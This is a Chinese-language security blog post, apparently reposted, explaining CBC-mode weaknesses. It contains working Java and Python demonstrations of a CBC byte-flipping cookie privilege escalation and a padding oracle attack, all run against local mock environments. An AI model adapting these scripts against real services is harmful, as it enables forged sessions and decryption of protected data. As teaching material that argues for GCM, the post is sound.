引言
這篇文章是我在公司內(nèi)部分享中一部分內(nèi)容的詳細(xì)版本,如標(biāo)題所言,我會(huì)通過文字、代碼示例、帶你完整的搞懂為什么我們不建議你使用cbc加密模式,用了會(huì)導(dǎo)致什么安全問題,即使一定要用需要注意哪些方面的內(nèi)容。
注:本文僅從安全角度出發(fā),未考慮性能與兼容性等因素
工作模式是個(gè)啥
分組加密的工作模式與具體的分組加密算法沒有關(guān)系,所以只要使用了cbc模式,不限于AES、DES、3DES等算法都一樣存在問題。
以AES-128-CBC
為例,可以屏蔽AES算法的內(nèi)部實(shí)現(xiàn),把AES算法當(dāng)作一個(gè)黑盒,輸入明文和密鑰返回密文。
因?yàn)槭欠纸M加密算法,所以對于長的明文,需要按照算法約定的塊大小進(jìn)行分組,AES每一組為16B,不同組之間使用相同的密鑰進(jìn)行計(jì)算的話,會(huì)產(chǎn)生一些安全問題,所以為了將分組密碼應(yīng)用到不同的實(shí)際應(yīng)用,NIST定義了若干的工作模式,不同模式對分塊的加密處理邏輯會(huì)不同,常見的工作模式有:
模式 | 描述 |
---|---|
ECB(電碼本) | 相同的密鑰分隊(duì)明文分組進(jìn)行加密 |
CBC(分組鏈接) | 加密算法的輸入是上一個(gè)密文組和當(dāng)前明文組的異或 |
CFB(密文反饋) | 一次處理s位,上一塊密文作為下一塊加密算法輸入,產(chǎn)生偽隨機(jī)數(shù)與明文異或或作為下一單元的密文 |
OFB(輸出反饋) | 類似CFB,僅加密算法的輸入是上一次加密的輸出,且使用整個(gè)分組 |
CTR(技數(shù)器) | 每個(gè)明文分組都與一個(gè)經(jīng)過加密的計(jì)數(shù)器相異或。對每個(gè)后續(xù)分組計(jì)數(shù)器遞增 |
ECB模式最為簡單,假設(shè)存在明文分組a、b、c、d 每個(gè)分組分別在相同密鑰k進(jìn)行aes加密后的密文為A、B、C、D,最終明文abcd對應(yīng)的密文為ABCD,如圖所示:
ECB模式很簡單可能從性能角度講非常占優(yōu),因?yàn)榉纸M之間沒有關(guān)聯(lián),可以獨(dú)立并行計(jì)算。但從安全角度來看這種直接將密文分組進(jìn)行拼接的方式,很可能會(huì)被攻擊者猜解出明文特征或替換丟棄部分密文塊達(dá)到明文的替換與截取效果,以下的圖非常清晰:
所以很容易理解ECB也不是推薦使用的工作模式。
CBC
有了ECB的前車之鑒,CBC( Cipher Block Chaining)模式就提出將明文分組先于一個(gè)隨機(jī)值分組IV進(jìn)行異或且本組的密文又與下一組的明文進(jìn)行異或的方式,這種方式增加了密文的隨機(jī)性,避免了ECB的問題,詳細(xì)過程見圖:
加密過程??
解釋下這個(gè)圖,存在明文分組a、b、c、d,cbc工作模式是存在執(zhí)行順序的,即第一個(gè)密文分組計(jì)算后才能計(jì)算第二個(gè)分組,第一個(gè)明文分組在加密前明文a需要和一個(gè)初始分組IV進(jìn)行異或運(yùn)算 即 a^IV
,然后再用密鑰K進(jìn)行標(biāo)準(zhǔn)的AES加密,E(a^IV,K)
得到第一組的密文分組A,密文分組A會(huì)參與第二組密文的計(jì)算,計(jì)算過程類似,只不過第二次需將IV替換為A,如此循環(huán),最后得到的密文ABCD即為CBC模式。
解密過程
仔細(xì)觀察CBC的加密過程,需要使用到一個(gè)隨機(jī)分組IV,在標(biāo)準(zhǔn)的加密過程中,IV會(huì)被拼接到密文分組中去,假設(shè)存在兩人甲和乙,甲方給到乙方的密文實(shí)際是 (IV)ABCD,乙在拿到密文后提取IV,然后進(jìn)行下圖的解密:
解密過程就是加密過程轉(zhuǎn)變了下方向,留意兩個(gè)圖從abcd到ABCD的箭頭方向。第一個(gè)密文分組先進(jìn)行AES解密,得到的中間值我們計(jì)為M_A,M_A再于初始向量IV進(jìn)行異或得到a,第二個(gè)分組重復(fù)同樣的動(dòng)作,還是將IV替換為密文分組A,最終可得到明文分組abcd。
CBC有什么問題
CBC增加了隨機(jī)變量IV給密文增加了隨機(jī)性,增大了密文分析的難度是不是就安全了呢? 答案當(dāng)然是不,CBC又引入了新的問題——可以通過改變密文從而改變明文。
CBC字節(jié)翻轉(zhuǎn)攻擊
原理講解
CBC字節(jié)翻轉(zhuǎn)攻擊原理非常簡單,如圖所示:
攻擊往往發(fā)生在解密過程,黑客通過控制IV和密文分組可以達(dá)到修改明文的目的,圖中黑客通過替換密文D分組為E分組可以篡改原本明文d為x(可能會(huì)涉及填充驗(yàn)證,這里先不管),或者同樣的道理黑客可以通過控制IV達(dá)到修改明文分組a的目的。
舉個(gè)例子??
接下來用一個(gè)實(shí)際例子來演示其原理及危害。
為了保證方便進(jìn)行原理講解,在加密時(shí)會(huì)將IV和key寫死,避免每次運(yùn)行的結(jié)果不一樣。
假設(shè)存在一個(gè)web服務(wù)應(yīng)用,前后端通過Cookie來進(jìn)行權(quán)限校驗(yàn),cookie的內(nèi)容為明文admin:0
進(jìn)行AES-128-CBC加密后的密文進(jìn)行base64編碼,數(shù)字0代表此時(shí)用戶的權(quán)限為非管理員用戶,當(dāng)admin后面的數(shù)字為1時(shí),后端會(huì)認(rèn)為是一名管理員用戶。
Cookie內(nèi)容為:AAAAAAAAAAAAAAAAAAAAAJyycJTyrCtpsXM3jT1uVKU=
此時(shí)黑客在知道校驗(yàn)原理的情況下可利用字節(jié)翻轉(zhuǎn)攻擊對此服務(wù)發(fā)起攻擊,在不知道密鑰的情況下將cookie明文修改為admin:1
,具體過程:
AES以16B作為block size進(jìn)行分塊,admin:0
在ascii編碼下對應(yīng)的二進(jìn)制僅為7B,所以在加密時(shí)還會(huì)對原始明文進(jìn)行填充直到剛好為16B的整數(shù)倍,所以還需要填充9B(填充細(xì)節(jié)下面再講),因?yàn)镃BC還會(huì)有IV,所以最終的密文是IV+Cipher,IV16B,cipher16B,總共32B,這里因?yàn)橹挥幸粋€(gè)密文分塊,所以改變IV的第7個(gè)字節(jié)對應(yīng)明文admin:0
數(shù)字的位置,或者密文的第7個(gè)字節(jié)即可改變明文數(shù)字部分的字段,通過不斷的嘗試,我們將原本密文IV分組 00
改為01
,即可成功翻轉(zhuǎn)明文為1,即cookie明文變?yōu)?code>admin:1,從而達(dá)到權(quán)限提升的目的。
完整代碼:
package com.example.springshiroproject;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;
public class MyTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
AesCipherService aesCipherService = new AesCipherService();
// 寫死密鑰
byte[] key = new byte[128/8];
Arrays.fill(key,(byte) '\0'); // 寫死的密鑰,客戶端及黑客未知
String plainText = "admin:0"; // cookie明文內(nèi)容
byte[] plainTextBytes = plainText.getBytes();
// 寫死IV
byte[] iv_bytes = new byte[128/8];
Arrays.fill(iv_bytes, (byte) '\0');
//
// // 通過反射調(diào)用可以自定義IV的AES-128-cbc加密方法(原方法為private)
Method encryptWithIV = aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
encryptWithIV.setAccessible(true);
ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());
// 正常邏輯解密
byte[] cipher = cipherWithIV.getBytes();
System.out.println("原始密文: " + cipherWithIV.toHex());
System.out.println("Cookie內(nèi)容: " + cipherWithIV.toBase64());
ByteSource decPlain = aesCipherService.decrypt(cipher, key);
System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));
// 字節(jié)翻轉(zhuǎn)攻擊
cipher[6] = (byte)0x01;
System.out.println("翻轉(zhuǎn)后的密文: " + ByteSource.Util.bytes(cipher).toHex());
System.out.println("翻轉(zhuǎn)后的cookie:"+ ByteSource.Util.bytes(cipher).toBase64());
decPlain = aesCipherService.decrypt(cipher, key);
System.out.println("翻轉(zhuǎn)解密后明文:" + new String(decPlain.getBytes()));
}
}
這個(gè)例子只講了一個(gè)分塊的情況,在實(shí)際的場景中可能涉及多個(gè)分塊,而多個(gè)分塊進(jìn)行嘗試改變一個(gè)密文分組實(shí)際會(huì)影響兩個(gè)明文分組,要求不斷在相同位置的向前的密文分組進(jìn)行變換猜測,非常耗時(shí)。
所以為了更方便的利用,攻擊者發(fā)現(xiàn)利用解密程序端會(huì)對填充規(guī)則進(jìn)行驗(yàn)證,驗(yàn)證不通過會(huì)拋出異常,類似sql注入盲注一樣,給攻擊者提供了更多的信息方便了漏洞的利用。
填充類型
因?yàn)闀?huì)涉及到對填充規(guī)則的利用,所以有必要專門介紹下主流的填充類型:
填充類型 | 描述 |
---|---|
NoPadding | 沒有填充 |
PKCS#5 | 固定分塊size為8B |
PKCS#7 | 分塊size可為1~255 |
ISO 10126 | 最后一個(gè)字節(jié)填充需要填充的長度,剩下的隨機(jī)填充 |
ANSI X9.23 | 最后一個(gè)字節(jié)填充需要填充的長度,剩下的補(bǔ)0填充 |
ZerosPadding | 填充 \x00
|
這里著重講一下PKCS#5
和PKCS#7
, 我發(fā)現(xiàn)很多安全人員寫的文章對于這兩種填充模式的描述是有問題的,比如:
其實(shí)不管pkcs#5
還是pkcs#7
填充的內(nèi)容都是需要填充的字節(jié)數(shù)這個(gè)數(shù)二進(jìn)制本身,pkcs#5
是按照8B為標(biāo)準(zhǔn)分塊進(jìn)行填充,pkcs#7
是可以不固定1~255都行,只不過按照AES的RFC約定,blocksize固定為16B,所以在AES調(diào)用里面pkcs#5
和pkcs#7
是沒啥區(qū)別的。
舉個(gè)例子,假如存在明文helloworld
,明文本身為英文,按照ascii每個(gè)字符占用1B,明文長度為10B
,還需填充6B
,填充內(nèi)容為\x06
,最終分塊內(nèi)容為:helloworld\x06\x06\x06\x06\x06\x06
.
在解密時(shí),服務(wù)端會(huì)對內(nèi)容做如下校驗(yàn):
- 獲取解密后的明文數(shù)據(jù)。
- 獲取明文數(shù)據(jù)的最后一個(gè)字節(jié)的值。
- 檢查最后一個(gè)字節(jié)的值是否在有效填充范圍內(nèi)。
- 如果最后一個(gè)字節(jié)的值小于等于明文數(shù)據(jù)的長度,則判斷為填充數(shù)據(jù)。
- 如果最后一個(gè)字節(jié)的值大于明文數(shù)據(jù)的長度,則判斷為無填充數(shù)據(jù)。
- 如果最后一個(gè)字節(jié)的值超出填充范圍(大于塊大?。瑒t數(shù)據(jù)可能被篡改或存在其他異常。
- 如果存在填充,則根據(jù)填充的字節(jié)數(shù),截取明文數(shù)據(jù),去除填充部分。
Padding oracle attack
padding oracle 攻擊利用的是篡改密文分組最后的填充字節(jié)引發(fā)服務(wù)端報(bào)錯(cuò)進(jìn)而可預(yù)測出明文或生成新的密文的攻擊方式,所以這里的oracle是預(yù)測的意思,非我們熟悉的java母公司甲骨文。
例子??
假設(shè)我們收到了一串通過AES-128-CBC加密的密文,密文內(nèi)容為:
000000000000000000000000000000009cb27094f2ac2b69b173378d3d6e54a5
前面16B全是0的部分是寫死的IV,后面才是真正的密文。復(fù)習(xí)下解密過程
- 密文cipher首先會(huì)在密鑰K的作用下生成中間值M
- 中間值M再于初始向量IV異或得到明文plain text.
表中標(biāo)黃的就是攻擊者可控的內(nèi)容,如果僅翻轉(zhuǎn)字節(jié)只能改變明文內(nèi)容,但我們無法確切得知明文的具體內(nèi)容,所以padding oracle 就登場了,正常的業(yè)務(wù)邏輯在解密時(shí)會(huì)對明文內(nèi)容做判斷,如果解密內(nèi)容正確可能會(huì)返回200,解密明文錯(cuò)誤返回403,但如果破壞密文程序?qū)μ畛潋?yàn)證出錯(cuò)可能會(huì)導(dǎo)致程序出錯(cuò)進(jìn)而產(chǎn)生500錯(cuò)誤。
攻擊者會(huì)利用500錯(cuò)誤來循環(huán)判斷猜解的中間值是否正確。
猜解出中間值后再與已知的IV進(jìn)行異或就能得到明文。
攻擊流程
猜解中間值
還是以剛剛的例子來做測試,我們嘗試猜解最后一位中間值,將IV從00-ff進(jìn)行暴力驗(yàn)證直到程序不報(bào)錯(cuò),得到iv[15]
為0x08
時(shí)沒有報(bào)填充錯(cuò)誤,證明這個(gè)時(shí)候篡改后的明文最后一位應(yīng)該為0x01
,將明文和IV進(jìn)行異或,可得中間值為0x08^0x01 = 0x09
,表中紅色部分:
再進(jìn)行第二步,猜解倒數(shù)第二位,猜解倒數(shù)第二位需要滿足篡改后的明文后兩位都為0x02
,因?yàn)樽詈笠晃欢贾虚g值已經(jīng)得出了為 0x09 所以,最后一位的iv為:0x09^0x02 = 0x0B
,循環(huán)iv倒數(shù)第二位從00~ff.得到IV值為0x0B
時(shí),程序不報(bào)錯(cuò),所以中間值為0x02^0x0B=0x09
不斷重復(fù)這個(gè)過程,直到所有的中間值都被猜解出來。
獲取明文
此時(shí),我們就可以在不知道密鑰的情況下,根據(jù)中間值和IV推測出明文M^IV=P
(M為中間值,IV為初始向量、P為明文)。
因?yàn)槲覀儗v寫死為00,所以明文就是M對應(yīng)的ASCII值,也就是:
admin:0\09\09\09\09\09\09\09\09\09
09為填充內(nèi)容,字節(jié)去掉得到最終明文:admin:0
對應(yīng)的代碼(Java):
package com.example.springshiroproject;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.crypto.CryptoException;
import org.apache.shiro.util.ByteSource;
import javax.crypto.BadPaddingException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.Arrays;
public class MyTest {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
int blockSize = 16;
AesCipherService aesCipherService = new AesCipherService();
// 寫死密鑰
byte[] key = new byte[128/8];
Arrays.fill(key,(byte) '\0'); // 寫死的密鑰,客戶端及黑客未知
String plainText = "admin:0"; // cookie明文內(nèi)容
byte[] plainTextBytes = plainText.getBytes();
byte[] iv_bytes = new byte[128/8];
Arrays.fill(iv_bytes, (byte) '\0');
//
// // 通過反射調(diào)用可以自定義IV的AES-128-cbc加密方法
Method encryptWithIV = aesCipherService.getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredMethod("encrypt",new Class[]{byte[].class, byte[].class,byte[].class,boolean.class});
encryptWithIV.setAccessible(true);
ByteSource cipherWithIV = (ByteSource) encryptWithIV.invoke(aesCipherService,new Object[]{plainTextBytes, key,iv_bytes,true});
System.out.println("明文:" + ByteSource.Util.bytes(plainTextBytes).toHex());
byte[] cipher = cipherWithIV.getBytes();
// System.out.println(cipher.length);
System.arraycopy(cipher,0,iv_bytes,0,blockSize-1);
System.out.println("原始密文: " + cipherWithIV.toHex());
System.out.println("Cookie內(nèi)容: " + cipherWithIV.toBase64());
ByteSource decPlain = aesCipherService.decrypt(cipher, key);
System.out.println("原始解密后明文:" + new String(decPlain.getBytes()));
System.out.println("開始嘗試");
decPlain = null;
byte[] middleValue = new byte[blockSize];
Arrays.fill(middleValue,(byte) 0x00);
boolean flipFlag = false;
for (int j=0; j<blockSize; j++){
byte tmp;
System.out.println("start "+ (j+1));
if (j >0){
for (int p=middleValue.length-1;p>middleValue.length-1-j;p--){
tmp = (byte) (middleValue[p]^(j+1));
cipher[p] = tmp;
// System.out.println("此時(shí)的tmp: " + tmp);
}
System.out.println("根據(jù)已知中間值填充iv的cipher: " + ByteSource.Util.bytes(cipher).toHex());
}else {
System.out.println("初始填充");
}
tmp = cipher[blockSize-j-1];
for (int i=0x00; i<=0xff; i++){
if (tmp == i){
// continue;
System.out.println("和原值一致跳過");
if (!flipFlag){
flipFlag = true;
continue;
}
}
cipher[blockSize-j-1] = (byte) i;
try{
decPlain = aesCipherService.decrypt(cipher, key);
tmp = (byte) (i ^ (j+1));
middleValue[blockSize-j-1] =tmp; //保存中間值 M = IV ^ I
System.out.println("猜對了!倒數(shù)第" +(j+1) +"個(gè)iv:" + i);
System.out.println("倒數(shù)第" +(j+1) +"個(gè)M:" + tmp);
break;
}catch (CryptoException e){
if (i==0xff){
System.out.print("沒有跑出來");
System.exit(0);
}
}
}
}
System.out.println("猜解的中間值:" + ByteSource.Util.bytes(middleValue).toHex());
byte[] attackPlain = new byte[blockSize];
for (int i=0;i<attackPlain.length;i++){
attackPlain[i] =(byte)( iv_bytes[i] ^middleValue[i]);
}
System.out.println("最終密文:" + ByteSource.Util.bytes(cipher).toHex());
System.out.println("最終明文:" + ByteSource.Util.bytes(attackPlain).toHex());
System.out.println("嘗試結(jié)束");
System.out.println("翻轉(zhuǎn)解密后明文:" + new String(attackPlain));
}
}
運(yùn)行結(jié)果:
另外對應(yīng)的python版本我也有寫過,如果你自己造輪子發(fā)現(xiàn)報(bào)錯(cuò)可以參考下我的代碼:
漏洞模擬環(huán)境:
from aes_manual import aes_manual
class PaddingOracleEnv:
def __init__(self):
self.key = aes_manual.get_key(16)
def run(self):
cipher = aes_manual.encrypt(self.key, "hello".encode())
def login(self,cookie):
try:
text = aes_manual.decrypt(self.key, cookie)
if text == b'hello':
return 200 # 完全正確
else:
return 403 # 明文錯(cuò)誤
except RuntimeError as e:
return 500 # 填充驗(yàn)證失敗
padding_oracle_env = PaddingOracleEnv()
if __name__ == '__main__':
res = padding_oracle_env.login(b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec")
print(res)
攻擊腳本:
import sys
from aes_manual import aes_manual
from padding_oracle_env import padding_oracle_env
from loguru import logger
class PaddingOracleAttack:
def __init__(self):
logger.remove()
logger.add(sys.stderr,level="DEBUG")
self.cipher_text_raw = b"1111111111111111R\xbb\x16^\xaf\xa8\x18Me.U\xaf\xfe\xb6\x99\xec"
self.iv = aes_manual.get_iv(self.cipher_text_raw)
self.cipher_content = aes_manual.get_cipher_content(self.cipher_text_raw)
def single_byte_xor(self, A: bytes, B: bytes):
"""單字節(jié)異或操作"""
assert len(A) == len(B) == 1
return ord(A) ^ ord(B)
def guess_last(self):
"""
padding oracle
:return:
"""
c_l = len(self.cipher_content)
M = bytearray()
for j in range(1, c_l+1): # 中間值位數(shù)
for i in range(1, 256): # 假 iv 爆破
f_iv = b'\x00' * (c_l-j) + bytes([i])
for m in M[::-1]:
f_iv += bytes([m ^ j]) # 利用上一步已知的m計(jì)算后面未知位置的iv
res = padding_oracle_env.login(f_iv + self.cipher_content)
if res == 403: # 填充正確的情況
M.append(i ^ j)
logger.info(f"{j} - {bytes([i])} - {i}")
break
# logger.info(M)
M = M[::-1] # reverse
logger.info(f"M({len(M)}):{M}")
p = bytearray()
for m_i, m in enumerate(M):
p.append(m ^ self.iv[m_i])
logger.info(f"破解明文為({len(p)}):{p}")
def run(self):
self.guess_last()
if __name__ == '__main__':
attack = PaddingOracleAttack()
attack.run()
其實(shí)也沒必要重復(fù)造輪子,也有很多現(xiàn)成的工具,如:https://github.com/KishanBagaria/padding-oracle-attacker
總結(jié)
回答標(biāo)題問題,正是因?yàn)镃BC字節(jié)翻轉(zhuǎn)、padding oracle attack 這些攻擊方式的存在,所以在對傳輸機(jī)密性要求高的場景是不推薦使用CBC工作模式的,
此外我在谷歌、百度搜索python aes cbc加密
關(guān)鍵詞時(shí)出現(xiàn)了很多誤導(dǎo)性的文章:
而且文章排名前三,里面的示例代碼竟然直接將加解密密鑰作為IV,這么做有如下風(fēng)險(xiǎn):
- 要知道IV一般會(huì)拼接在密文的頭部放在網(wǎng)絡(luò)中傳輸,這種方式攻擊者都不需要字節(jié)翻轉(zhuǎn)那么復(fù)雜的操作,直接取出IV解密即可
- 即使IV不作為密文一部分傳輸,使用相同的IV進(jìn)行加密會(huì)導(dǎo)致相同的明文塊產(chǎn)生相同的密文塊。攻擊者可以通過觀察密文的模式來推斷出明文的一些信息,甚至進(jìn)行其他形式的攻擊,如選擇明文攻擊。
為了確保安全性,應(yīng)該生成隨機(jī)且唯一的IV,并將其與密文一起存儲(chǔ)。常見的做法是每次加密生成一個(gè)新的IV,并將其作為附加的密文數(shù)據(jù)一起傳輸或存儲(chǔ),以便解密時(shí)正確使用。這樣可以避免可預(yù)測性攻擊,并增強(qiáng)AES CBC模式的安全性
更推薦使用GCM作為加解密的工作模式,因?yàn)椋?mark hidden color="red">文章來源:http://www.zghlxwxcb.cn/news/detail-456422.html
- 數(shù)據(jù)完整性和加密認(rèn)證:GCM 模式提供了認(rèn)證標(biāo)簽 (Authentication Tag) 的生成,用于驗(yàn)證密文的完整性和認(rèn)證密文的來源。這可以幫助檢測任何對密文的篡改或偽造,并提供更強(qiáng)的數(shù)據(jù)完整性保護(hù)。
- 隨機(jī)性和不可預(yù)測性:GCM 模式使用計(jì)數(shù)器和密鑰生成一個(gè)密鑰流,這個(gè)密鑰流與明文進(jìn)行異或運(yùn)算得到密文。這種異或運(yùn)算的方式提供了更高的隨機(jī)性和不可預(yù)測性,增加了密文的安全性。
- 并行加密和高性能:GCM 模式支持并行加密,可以同時(shí)處理多個(gè)數(shù)據(jù)塊,提高加密和解密的速度和效率。這在處理大規(guī)模數(shù)據(jù)時(shí)非常有用。
- 抵抗填充攻擊:與一些塊密碼模式相比,GCM 模式不需要進(jìn)行填充操作,因此不容易受到填充攻擊等相關(guān)漏洞的影響。
參考
- https://paper.seebug.org/1123/
- https://www.rfc-editor.org/rfc/rfc2630
- https://xz.aliyun.com/t/11633
- chatgpt
公眾號(hào)
家人們,歡迎關(guān)注我的公眾號(hào)“硬核安全”,跟我一起學(xué)起來!文章來源地址http://www.zghlxwxcb.cn/news/detail-456422.html
到了這里,關(guān)于【密碼學(xué)】為什么不推薦在對稱加密中使用CBC工作模式的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!